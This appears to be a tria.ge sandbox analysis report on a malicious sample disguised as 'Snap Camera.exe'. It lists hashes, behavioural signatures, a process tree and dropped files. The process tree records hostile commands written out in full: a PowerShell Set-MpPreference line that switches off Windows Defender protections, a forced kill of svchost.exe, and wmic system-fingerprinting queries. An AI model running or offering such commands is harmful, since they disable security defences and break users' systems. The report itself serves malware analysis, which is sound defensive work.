Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
3s -
max time network
21s -
platform
windows10-1703_x64 -
resource
win10-20220901-en -
resource tags
arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system -
submitted
07/12/2022, 00:26
Static task
static1
Behavioral task
behavioral1
Sample
Snap Camera.exe
Resource
win10-20220901-en
General
-
Target
Snap Camera.exe
-
Size
149.1MB
-
MD5
ddfbd9414f286ba64fdd35321ec7b498
-
SHA1
329f00d6d55a3566998287bc8f4bdf6d05307685
-
SHA256
f64f194dbad4594bc4f723976b94ccda3a2c0ae27e3ca3ed6f613c45d0fcedcb
-
SHA512
c2d09aa7e4b734003501ccbf083a1df605de699b2a94e7aa7ff6c925130666b0eb74266a2d10e2d4d8c876bfae5a84e656a35de316618f85201d7983570c8270
-
SSDEEP
3145728:8l56Dxt4/rbOMoU7Xq2Q5+bCLFl++1xsfr9UPS4a8Zc:E56TmbOMoyXq7nv3sTF4a8W
Malware Config
Signatures
-
Loads dropped DLL 11 IoCs
pid Process 4988 Snap Camera.exe 4988 Snap Camera.exe 4988 Snap Camera.exe 4988 Snap Camera.exe 4988 Snap Camera.exe 4988 Snap Camera.exe 4988 Snap Camera.exe 4988 Snap Camera.exe 4988 Snap Camera.exe 4988 Snap Camera.exe 4988 Snap Camera.exe -
Kills process with taskkill 1 IoCs
pid Process 4868 taskkill.exe -
Runs net.exe
-
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3772 wrote to memory of 4988 3772 Snap Camera.exe 66 PID 3772 wrote to memory of 4988 3772 Snap Camera.exe 66
Processes
-
C:\Users\Admin\AppData\Local\Temp\Snap Camera.exe"C:\Users\Admin\AppData\Local\Temp\Snap Camera.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Users\Admin\AppData\Local\Temp\Snap Camera.exe"C:\Users\Admin\AppData\Local\Temp\Snap Camera.exe"2⤵
- Loads dropped DLL
PID:4988 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net session"3⤵PID:4392
-
C:\Windows\system32\net.exenet session4⤵PID:3024
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:4264
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\upO77.exe"C:\Users\Admin\AppData\Local\Temp\upO77.exe"3⤵PID:4380
-
C:\Users\Admin\AppData\Local\Temp\is-GKK7O.tmp\upO77.tmp"C:\Users\Admin\AppData\Local\Temp\is-GKK7O.tmp\upO77.tmp" /SL5="$90054,148276558,850944,C:\Users\Admin\AppData\Local\Temp\upO77.exe"4⤵PID:5100
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"3⤵PID:4384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"3⤵PID:4344
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory4⤵PID:4568
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵PID:3984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /IM svchost.exe /F"3⤵PID:324
-
C:\Windows\system32\taskkill.exetaskkill /IM svchost.exe /F4⤵
- Kills process with taskkill
PID:4868
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend1⤵PID:5052
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid1⤵PID:4924
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
727KB
MD5461f128e782f7eb1bf83f69018139049
SHA1012e3dd4abf8cf7d024e937e11076c9247a30801
SHA256079885dce0eeba73c1644a73d9bdce1ca4be3db555b09c8b2d81a87858a4d0d1
SHA5122a39dc49d125b57131794d8f7f6eeaf9ab738c6c05599049c7b1f4431dc899758fc1cbd79cb6b1b221527d506b089517882c19bcbdf7ed164d0eedea7d332cdf
-
Filesize
96KB
MD5f12681a472b9dd04a812e16096514974
SHA16fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA5127d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
-
Filesize
47KB
MD5bf3679866df99540937628081af5537d
SHA1bdbbd56b0fe20d3746aed33d89b4caeb08fc0a1f
SHA256d0dd970620243dd87ae77db8a631a389b2cbeee216c7bee2b3425469a315618b
SHA51234955168113c87750b91f4b794bed257b2215485b3abafb8b459b58599a3fc5381487a7f5157358336e7626501762765443b91ec117b949e7da91a3f9e56f682
-
Filesize
33KB
MD505b06b9fdcf074e10f67e105588d713c
SHA10993bc372eb6b517bde9919d5f5a0bb9891945c5
SHA2560d9d24dc4886321d68491db93921415c06871dc34de2ed91031de6fa369a1d93
SHA512617752b8420e87b5ce3070238e18b24c9d4a2a7144a0070efbb068efc1ef98e0d8df15776fb644de57b554f89f887f96b6e7b09dda9278d3d32a0e81d5f1fa24
-
Filesize
84KB
MD589c7f76c784854d62a8e516137d43607
SHA11dad4da521cd2ad1470aaa3a51aa4c004e77181e
SHA2564612008b686994ab7bd4f384f6566a3a853d9a1c8935bfaa07eb595fdebd01a1
SHA512bb83ac17a114665101446188279e7689e9661e18c5596c3a2e9625b72aeb748149db36bf96423c85f7ee448fd3ffeeeab6102ca7522ed1c4e3318d9c3bfc46e0
-
Filesize
24KB
MD55aafc702d526cd407a1c806a9e84f84a
SHA196ace17b3355dbfb9e81a913e058b2c815279e3f
SHA25616b07e2496bd084845a2b41b6d98786a16c796a9eaba2f90046ec44be9338d78
SHA512b610dd56d05b534ee1de45e1a0af66aba3076f5f9977622548ecbdd87d7c95fa562c4ad37cbf1e6ccae0e8dec2d0ea9f9b9c725f6d053ea388fe65e1c038c4d9
-
Filesize
41KB
MD510bddaab060fe231dd96b1c3859367a6
SHA144ae0c7f505158a044e9dfbd2283d8bb54d9a8ac
SHA256d1eaea0b871e2b97a30a7ef7aefbe30c6d658598a994d707aedd7d59ee880e02
SHA512acb03d9e2729b8643b4e14fb29c5e044ad55f342688b4203beb27420abd454ed4534eba14300b3db624e56921b787a76b787e91888a5257e133962878968d65d
-
Filesize
60KB
MD5b1e9214217b06262bfc0e55247b5adc7
SHA14070a35c41e0e59216931bc06e94a8f2b5fd84fd
SHA25634fd7be67093600009c73e010eef81dac32f1c560708a34b8cca382d94f759b2
SHA51273463229ca3c3d137d24a7edff1601faf9a39ee15a5abb0b214dca2fb04ba9f9847b4e99ce19d9431feab0748fcc5671a5558ebaa4f4d950c17d7a9784c02ffc
-
Filesize
1.0MB
MD5c0b578e13d0440d5d92ab6a3ac62b0b5
SHA1256924fd93f736d2467b3ff66e823b7d962d6ae1
SHA256fb4bdd6327d203879e7e93d32d18f91a2c855a144cb1dd96df077333bc7cbb68
SHA51220623e8f43a55707b89286acf3078f9d34f513ca77a65d47d5759ad1a8e1d08847a656b77578657d36574977304fb46566a717095712fa03d63292c9686105de
-
Filesize
7.1MB
MD501a0095bd9f15392b8c6374c5671bb26
SHA1b54892d9d73e57f5b1bf645a775b4c99fc87ff38
SHA256a27226954e2985df5659a3b6c0ce6086f750f8da91ce7592fe5a8fecf65a996d
SHA512c7d3d292738f37c5a78fc8456385dd85be6bff75d3431011de4fe504f58b41d33113564fd65cc314a588d62d3ed4246b101de37e2a7f7ad8081de427db45eed0
-
Filesize
134B
MD520db2eecf9a04ee7d3ac6090f537e72b
SHA18df1255e847800ddf64fe0dbeb6fdfba274ce416
SHA25619625d8117b21edeb44d2e70353ab453cf5b71c6e21273785314b8910ddbf1bb
SHA512b654f737726355cdee76f5fa508d1975195c4a51036ff00235105cee7bd9c300256cfcd479d61900fa772feb0e9ecbca1874e7b2b6461d0f5d885765ce3818e5
-
Filesize
1.1MB
MD5730ffd5fc87b96950c61d6f16c1d888a
SHA1596802d785321bd9af39b083c10fc94ef18eef4e
SHA256d3357cc31e9fda8afe230f49a35d61791c9e420b417e9929aac16d79c2a02b41
SHA5125ca793e38e7023269deea9c54b15afca689fa85bd5e8e12903e36108b385270cde2f0c4801c2a360b88c7ce4a63234a3927f2e27d369e7c5cc5cc351184f191b
-
Filesize
203KB
MD5c222c1d04c4ccac9fe48408000b2a86e
SHA1e71344c9f1f8c0441c8757df4f72af9354c122a1
SHA2564f64cebd3d99810518e8f6fe2762bb11f1ea54c8128dd77d99f2a3fbcdc5d253
SHA512a57333303c759be965d7c4b3fcd8f76f569eec5bb8d46071f122be28e21c8f302ad52c563f6260e671dc69eb7478b7817f0f08a3b2986fdff645f1dba55a402d
-
Filesize
1.5MB
MD5e06ce8146da66871aa8aeedc950fd12b
SHA16ee749bdd0bc857a41ac8018c5553e895784b961
SHA256aabd51782e4edb80561dd2ff065079a8381c7c86a6db1c6884bc09c73cde07a4
SHA5120d8c16832d5242595eff4993a1563de09f1eba988ca6e9bcd9afdb0891a164ea2972ac9df40f575e8e1021d535c3b807ce025bc15788f08f84c71246d64f1198
-
Filesize
61KB
MD5e9f6c18bb98b4ee9b42dbe7864d47b2b
SHA115a89a1751249ffb81653b73980628d8c7c6234b
SHA256334dd273c6a141d6e4a861fc312ed5ba01a581b1ff2b8d8707560a45fd0f517b
SHA512283c28efc750321cf67d6e5a6d0ddf4ffa54cd9c70c13c06d5530c0f7185ce4905396c521c3baebd282f0314b43648552a8054eddec706f62b7dacfec2e5402b
-
Filesize
24KB
MD57bb6ccfeb77e3b3c812271f3c57c7139
SHA1d60ff5c903ef276823ab294f38295b24c4886e38
SHA2561c035581c147204882a2ebeb2fee46f95c0cf738b889081bca8250b1739d7aa3
SHA512b5bf030e08d3ddb1c90b8d236d0c40b485f5a26e34bddcbd23b96b08b142992712584645e9bf621263f6a75979c6bbf90aa7ec14d08248a285caa420f44d9c9b
-
Filesize
18KB
MD533fd80925ad9d175a7eb5e0a6ec6db70
SHA1d6f100c040ade4c04ed4c8683ae12cba26dd2aaa
SHA25602a3abcd95fad75e05323f35e278274d2d81151d4059e90c2feef49af98acdfe
SHA5127913151dc36a9117e0c56504a14ac4ef561e76e6dc670f11fcbfbb813b81510b43ae840c3b92c48c66f8e5e4cffa229fdb842d477d38cbf628a3d41eac975aee
-
Filesize
288KB
MD5e5eb50af2b8c78891b88b2b8140cacc3
SHA160ab7f97d18e20722fb66d9ae7458303ffb7e72e
SHA2565796ec95560f9a7ea91ab9dee0e6cd3ff3c910745ab36ae8554c22319ac3c5b1
SHA512153ac604e3803b47730892fcb65e68c4a232501488d47445c89b814a4fac99c04b1888ba0df8d378adfe2fac29a3593c899dfae5cf7f035ba95360bac0c944d9
-
Filesize
51KB
MD5042ae3864f751a150052e56f7d2133b0
SHA184bfc5e667845d52ebef27ac4c25f87bdb7aa4d8
SHA256b13492baf744ad43ce24e1462eee4ac5c899daa72c7da58f71324011dc0dd306
SHA512985c73cd3a03fc8ae4f39b6ae9c91aab01d09fe3f6ad847792c16942470853a297c8344df1ff5a4968a6cfab9a10da61fa90255d106c1bcfb12bbe366c10dfa6
-
Filesize
1.6MB
MD574140a9aa30716004f3daf7b70628337
SHA150540bbbcb3ca480ba07bfb6fa97816500721276
SHA2560b8cdad7efdf692f782be70c2f1020bef3bb9afbb9d9f4233a562a197d30d6eb
SHA512f2fc4538a694fb570560ea77bd68e657319248a9ef5ccc45db7a9968923d6e436c2c698b5112f1e644a1db812118ec97384d4268af0979653bbe96a9c8f407fc
-
Filesize
7.0MB
MD5eea9f9090c865d1f1ddcbbd733a606b3
SHA17b08c7129789fd240ed4d004254fa31f7c1f8a13
SHA2561c9e57684319a3f20f68430c81617c0e65558a567968c3ddd14e36b8c81dccc9
SHA5129e405b5e1a21a45e1a79cbba3b9534fbbbb281a6e9a468d34527dd1fcc98f4f872b5d8552df5b6d78f5c1f4529c501929da18a02ac562aaa621f11d3e0b9b1ca
-
Filesize
1.8MB
MD59bc8acbdae4ee8d4620da57dbe7f1fb5
SHA10ab8004ec2acddd8ea1251bcf13ad2ff5e4371aa
SHA2563f567c17402780f4805ea47b1f3df1dfe929ce3d3342950cc9373a000dd4cf45
SHA512e33259b7ab6e4a0777d08cdda1b5a58ac18eb8eb93019974e2b19adb2ec19e1187218e687fc02331d8be8164b8d2286daa706a1170d1ceb6432789f892193557
-
Filesize
727KB
MD5461f128e782f7eb1bf83f69018139049
SHA1012e3dd4abf8cf7d024e937e11076c9247a30801
SHA256079885dce0eeba73c1644a73d9bdce1ca4be3db555b09c8b2d81a87858a4d0d1
SHA5122a39dc49d125b57131794d8f7f6eeaf9ab738c6c05599049c7b1f4431dc899758fc1cbd79cb6b1b221527d506b089517882c19bcbdf7ed164d0eedea7d332cdf
-
Filesize
96KB
MD5f12681a472b9dd04a812e16096514974
SHA16fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA5127d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
-
Filesize
47KB
MD5bf3679866df99540937628081af5537d
SHA1bdbbd56b0fe20d3746aed33d89b4caeb08fc0a1f
SHA256d0dd970620243dd87ae77db8a631a389b2cbeee216c7bee2b3425469a315618b
SHA51234955168113c87750b91f4b794bed257b2215485b3abafb8b459b58599a3fc5381487a7f5157358336e7626501762765443b91ec117b949e7da91a3f9e56f682
-
Filesize
33KB
MD505b06b9fdcf074e10f67e105588d713c
SHA10993bc372eb6b517bde9919d5f5a0bb9891945c5
SHA2560d9d24dc4886321d68491db93921415c06871dc34de2ed91031de6fa369a1d93
SHA512617752b8420e87b5ce3070238e18b24c9d4a2a7144a0070efbb068efc1ef98e0d8df15776fb644de57b554f89f887f96b6e7b09dda9278d3d32a0e81d5f1fa24
-
Filesize
84KB
MD589c7f76c784854d62a8e516137d43607
SHA11dad4da521cd2ad1470aaa3a51aa4c004e77181e
SHA2564612008b686994ab7bd4f384f6566a3a853d9a1c8935bfaa07eb595fdebd01a1
SHA512bb83ac17a114665101446188279e7689e9661e18c5596c3a2e9625b72aeb748149db36bf96423c85f7ee448fd3ffeeeab6102ca7522ed1c4e3318d9c3bfc46e0
-
Filesize
24KB
MD55aafc702d526cd407a1c806a9e84f84a
SHA196ace17b3355dbfb9e81a913e058b2c815279e3f
SHA25616b07e2496bd084845a2b41b6d98786a16c796a9eaba2f90046ec44be9338d78
SHA512b610dd56d05b534ee1de45e1a0af66aba3076f5f9977622548ecbdd87d7c95fa562c4ad37cbf1e6ccae0e8dec2d0ea9f9b9c725f6d053ea388fe65e1c038c4d9
-
Filesize
41KB
MD510bddaab060fe231dd96b1c3859367a6
SHA144ae0c7f505158a044e9dfbd2283d8bb54d9a8ac
SHA256d1eaea0b871e2b97a30a7ef7aefbe30c6d658598a994d707aedd7d59ee880e02
SHA512acb03d9e2729b8643b4e14fb29c5e044ad55f342688b4203beb27420abd454ed4534eba14300b3db624e56921b787a76b787e91888a5257e133962878968d65d
-
Filesize
60KB
MD5b1e9214217b06262bfc0e55247b5adc7
SHA14070a35c41e0e59216931bc06e94a8f2b5fd84fd
SHA25634fd7be67093600009c73e010eef81dac32f1c560708a34b8cca382d94f759b2
SHA51273463229ca3c3d137d24a7edff1601faf9a39ee15a5abb0b214dca2fb04ba9f9847b4e99ce19d9431feab0748fcc5671a5558ebaa4f4d950c17d7a9784c02ffc
-
Filesize
1.1MB
MD5730ffd5fc87b96950c61d6f16c1d888a
SHA1596802d785321bd9af39b083c10fc94ef18eef4e
SHA256d3357cc31e9fda8afe230f49a35d61791c9e420b417e9929aac16d79c2a02b41
SHA5125ca793e38e7023269deea9c54b15afca689fa85bd5e8e12903e36108b385270cde2f0c4801c2a360b88c7ce4a63234a3927f2e27d369e7c5cc5cc351184f191b
-
Filesize
203KB
MD5c222c1d04c4ccac9fe48408000b2a86e
SHA1e71344c9f1f8c0441c8757df4f72af9354c122a1
SHA2564f64cebd3d99810518e8f6fe2762bb11f1ea54c8128dd77d99f2a3fbcdc5d253
SHA512a57333303c759be965d7c4b3fcd8f76f569eec5bb8d46071f122be28e21c8f302ad52c563f6260e671dc69eb7478b7817f0f08a3b2986fdff645f1dba55a402d
-
Filesize
1.5MB
MD5e06ce8146da66871aa8aeedc950fd12b
SHA16ee749bdd0bc857a41ac8018c5553e895784b961
SHA256aabd51782e4edb80561dd2ff065079a8381c7c86a6db1c6884bc09c73cde07a4
SHA5120d8c16832d5242595eff4993a1563de09f1eba988ca6e9bcd9afdb0891a164ea2972ac9df40f575e8e1021d535c3b807ce025bc15788f08f84c71246d64f1198
-
Filesize
61KB
MD5e9f6c18bb98b4ee9b42dbe7864d47b2b
SHA115a89a1751249ffb81653b73980628d8c7c6234b
SHA256334dd273c6a141d6e4a861fc312ed5ba01a581b1ff2b8d8707560a45fd0f517b
SHA512283c28efc750321cf67d6e5a6d0ddf4ffa54cd9c70c13c06d5530c0f7185ce4905396c521c3baebd282f0314b43648552a8054eddec706f62b7dacfec2e5402b
-
Filesize
24KB
MD57bb6ccfeb77e3b3c812271f3c57c7139
SHA1d60ff5c903ef276823ab294f38295b24c4886e38
SHA2561c035581c147204882a2ebeb2fee46f95c0cf738b889081bca8250b1739d7aa3
SHA512b5bf030e08d3ddb1c90b8d236d0c40b485f5a26e34bddcbd23b96b08b142992712584645e9bf621263f6a75979c6bbf90aa7ec14d08248a285caa420f44d9c9b
-
Filesize
18KB
MD533fd80925ad9d175a7eb5e0a6ec6db70
SHA1d6f100c040ade4c04ed4c8683ae12cba26dd2aaa
SHA25602a3abcd95fad75e05323f35e278274d2d81151d4059e90c2feef49af98acdfe
SHA5127913151dc36a9117e0c56504a14ac4ef561e76e6dc670f11fcbfbb813b81510b43ae840c3b92c48c66f8e5e4cffa229fdb842d477d38cbf628a3d41eac975aee
-
Filesize
288KB
MD5e5eb50af2b8c78891b88b2b8140cacc3
SHA160ab7f97d18e20722fb66d9ae7458303ffb7e72e
SHA2565796ec95560f9a7ea91ab9dee0e6cd3ff3c910745ab36ae8554c22319ac3c5b1
SHA512153ac604e3803b47730892fcb65e68c4a232501488d47445c89b814a4fac99c04b1888ba0df8d378adfe2fac29a3593c899dfae5cf7f035ba95360bac0c944d9
-
Filesize
51KB
MD5042ae3864f751a150052e56f7d2133b0
SHA184bfc5e667845d52ebef27ac4c25f87bdb7aa4d8
SHA256b13492baf744ad43ce24e1462eee4ac5c899daa72c7da58f71324011dc0dd306
SHA512985c73cd3a03fc8ae4f39b6ae9c91aab01d09fe3f6ad847792c16942470853a297c8344df1ff5a4968a6cfab9a10da61fa90255d106c1bcfb12bbe366c10dfa6